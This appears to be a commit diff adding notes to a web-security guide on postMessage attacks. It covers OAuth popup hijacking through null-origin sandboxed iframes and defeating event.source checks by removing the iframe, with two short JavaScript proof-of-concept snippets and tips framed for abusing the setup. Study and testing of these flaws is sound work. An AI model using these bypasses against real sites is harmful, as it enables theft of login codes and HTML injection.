You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
A recent TryHackMe task (“Vulnerable Codes”) demonstrates how OAuth popups can be hijacked when the opener lives inside a sandboxed iframe that only allows scripts and popups. The iframe forces both itself and the popup into a `"null"` origin, so handlers checking `if (origin !==window.origin) return` silently fail because `window.origin` inside the popup is also `"null"`. Even though the browser still exposes the real `location.origin`, the victim never inspects it, so attacker-controlled messages glide through.
89
+
90
+
```javascript
91
+
constframe=document.createElement('iframe');
92
+
frame.sandbox='allow-scripts allow-popups';
93
+
frame.srcdoc=`
94
+
<script>
95
+
const pop = open('https://oauth.example/callback');
96
+
pop.postMessage({ cmd: 'getLoginCode' }, '*');
97
+
<\/script>`;
98
+
document.body.appendChild(frame);
99
+
```
100
+
101
+
Takeaways for abusing that setup:
102
+
103
+
- Handlers that compare `origin` with `window.origin` inside the popup can be bypassed because both evaluate to `"null"`, so forged messages look legitimate.
104
+
- Sandboxed iframes that grant `allow-popups` but omit `allow-same-origin` still spawn popups locked to the attacker-controlled null origin, giving you a stable enclave even in 2025 Chromium builds.
Industry writeups around CVE-2024-49038 highlight two reusable primitives for this page: (1) you can still interact with pages that set `X-Frame-Options:DENY` by launching them via `window.open` and posting messages once the navigation settles, and (2) you can brute-force `event.source== victimFrame` checks by removing the iframe immediately after sending a message so that the receiver only sees `null` in the handler.
109
+
110
+
```javascript
111
+
constprobe=document.createElement('iframe');
112
+
probe.sandbox='allow-scripts';
113
+
probe.onload= () => {
114
+
constvictim=open('https://target-app/');
115
+
setTimeout(() => {
116
+
probe.contentWindow.postMessage(payload, '*');
117
+
probe.remove();
118
+
}, 500);
119
+
};
120
+
document.body.appendChild(probe);
121
+
```
122
+
123
+
Combine this with the DOM-clobbering trick above: once the receiver only sees `event.source===null`, any comparison against `window.calc.contentWindow` or similar collapses, letting you ship malicious HTML sinks through `innerHTML` again.
124
+
125
+
## References
126
+
- [PostMessage Vulnerabilities: When Cross-Window Communication Goes Wrong](https://instatunnel.my/blog/postmessage-vulnerabilities-when-cross-window-communication-goes-wrong)
0 commit comments